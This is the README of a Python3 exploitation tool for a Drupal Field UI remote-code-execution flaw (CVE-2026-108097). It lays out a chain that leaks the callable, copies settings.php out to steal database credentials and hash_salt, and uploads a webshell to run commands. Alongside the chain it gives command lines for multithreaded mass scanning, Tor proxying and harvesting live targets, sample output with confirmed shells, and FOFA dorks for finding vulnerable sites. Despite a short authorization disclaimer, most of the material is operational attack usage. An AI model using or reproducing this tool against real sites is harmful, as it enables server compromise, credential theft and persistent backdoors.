
Python3 multi-stage exploiter for CVE-2026-108097 (Drupal Field UI #region_callback RCE): fingerprint, sink probe, callable leak, settings.php exfiltration, and webshell RCE.
A Python3 tool that implements the logic of CVE-2026-108097 (Drupal core Field UI
#region_callback RCE, SA-CORE-2026-014) as a multi-stage pipeline:
detect → writer find → sink probe → callable leak → file disclosure → RCE
Targets are read from the file .txt (one URL per line). Output:
output/rce.txt — a single file containing only targets that reach the RCE confirmed stage,
complete with evidence (shell URL, command, output). Targets that only detect/sink/exfil
do not write any file.There is no per-target JSON,
_settings.phpartifact, or multi-levelvulnerable.txt. Onlyrce.txtis written, and only if there is a confirmed RCE.
Run this tool only in environments you are permitted to use: your own Drupal lab,
a CTF, or a pentest with written authorization. CVE-2026-108097 has a sink in every
Drupal install <= 11.4.9, but a real exploit requires a contrib/custom module that exposes
field_ui_table with a #region_callback row that can be influenced by an HTTP actor.
The official advisory does not name a specific module — the file payloads/writers.json is seeded
with generic/placeholder patterns; tune it to your lab setup.
Sink (FieldUiTable.php:72, <= 11.4.9):
$region_name = call_user_func_array($row['#region_callback'], [&$row]);
Render array #region_callback diperlakukan sebagai PHP callable tanpa validasi.
Patch 11.4.10 menghapus baris ini.
Chain (mengikuti deep dive Fortbridge):
field_ui_table dengan row #region_callback yang
bisa dipengaruhi HTTP actor.print_r) → leak row + nonce.System::cat copy settings.php ke public files dir → GET exfil (DB cred, hash_salt)..htaccess (subdirectory RewriteEngine On putus inheritance parent)
system() exec.pip3 install -r requirements.txt
Create your own target file (one URL per line), then run:
python3 cve_2026_108097.py -i targets.txt --stage all --threads 5 --out output/
Or use a custom target file:
python3 cve_2026_108097.py -i my_targets.txt --stage all --threads 10 --out out/
python3 cve_2026_108097.py -i targets.txt --stage detect --threads 20
#region_callback is reachable, without exploit)python3 cve_2026_108097.py -i targets.txt --stage sink --threads 10
print_r + nonce)python3 cve_2026_108097.py -i targets.txt --stage leak
settings.php, without shell upload)python3 cve_2026_108097.py -i targets.txt --stage exfil --threads 5
python3 cve_2026_108097.py -i targets.txt --stage rce --cmd "whoami; id; uname -a; hostname"
python3 cve_2026_108097.py -i targets.txt --stage rce --shell-name x.php
python3 cve_2026_108097.py -i targets.txt --stage all --writer-path /admin/structure/display-modes/form/ajax
python3 cve_2026_108097.py -i targets.txt --stage all --proxy http://127.0.0.1:8080 --no-verify
pip3 install "requests[socks]"
python3 cve_2026_108097.py -i targets.txt --stage all --proxy socks5h://127.0.0.1:9050
python3 cve_2026_108097.py -i big_list.txt --stage detect --threads 30 --timeout 5
curl -s "https://example.com/targets-api" | tr ' ' '\n' > live_targets.txt
python3 cve_2026_108097.py -i live_targets.txt --stage all
python3 cve_2026_108097.py -i targets.txt --stage all
grep -oE 'http[s]?://[^ ]+' output/rce.txt > rce_urls.txt
# rce_urls.txt siap dipakai tool lain
| Flag | Default | Description |
|---|---|---|
-i / --input | targets.txt | target file (one URL per line, # = comment) |
--out | output | output dir (file rce.txt is written here) |
--threads | 5 | number of worker threads |
--timeout | 10 | HTTP timeout in seconds |
--proxy | - | proxy http/https/socks5 (socks5 requires requests[socks]) |
--no-verify | off | skip TLS verify |
--stage | all | detect | sink | leak | exfil | rce | all — how far the pipeline runs |
--writer-path | - | override writer endpoint (skip auto-find) |
--shell-name | random | webshell file name |
--cmd | id | command for the RCE stage |
detect — stop after Drupal fingerprint + version + Field UI.sink — stop after confirming #region_callback is reachable.leak — run stage 1 (callable leak via print_r).exfil — run stage 1 + 2 (file disclosure settings.php).rce / all — run the full chain through to RCE.output/rce.txt — written only if there is a target with RCE confirmed. Example contents:
# CVE-2026-108097 RCE confirmed — generated 2026-10-20T16:50:00Z
# total: 2
[1] http://drupal-lab.local
shell : http://drupal-lab.local/sites/default/files/_cve_a1b2/_e5f6.php
cmd : id
output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
[2] http://target2.example.com
shell : http://target2.example.com/sites/default/files/_cve_x9y8/_z7w6.php
cmd : id
output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Jika tidak ada RCE yang terkonfirmasi, file rce.txt tidak ditulis. Stdout tetap mencetak tabel ringkasan (URL, Drupal, versi, FieldUI, Affected, Sink, Stage) untuk semua target.
Dork FOFA untuk mempersempit pencarian target Drupal yang berpotensi terdampak CVE-2026-108097. Gabungkan dengan filter versi / module untuk hasil yang lebih akurat.
body="name=\"Generator\" content=\"Drupal"
header="X-Generator: Drupal"
body="misc/drupal.js" || body="/core/misc/drupal.js"
body="Drupal.settings" || body="drupal.js"
Drupal 11.x (vulnerable before 11.4.10 / 11.3.19):
body="content=\"Drupal 11"
header="X-Generator: Drupal 11"
Drupal 10.x (vulnerable before 10.6.19):
body="content=\"Drupal 10"
header="X-Generator: Drupal 10"
body="field-ui-table" || body="field_ui_table"
body="/admin/reports/fields" && body="Drupal"
body="/admin/structure/display-modes" && body="Drupal"
body="Drupal 11.4" && body="CHANGELOG.txt"
icon_hash="0" && body="/core/CHANGELOG.txt"
body="Drupal 11.4.9" || body="Drupal 11.4.8" || body="Drupal 11.4.7"
body="Drupal 10.6.18" || body="Drupal 10.6.17" || body="Drupal 10.6.16"
icon_hash="-2028424325"
(Drupal default favicon hash — check & update via FOFA icon search)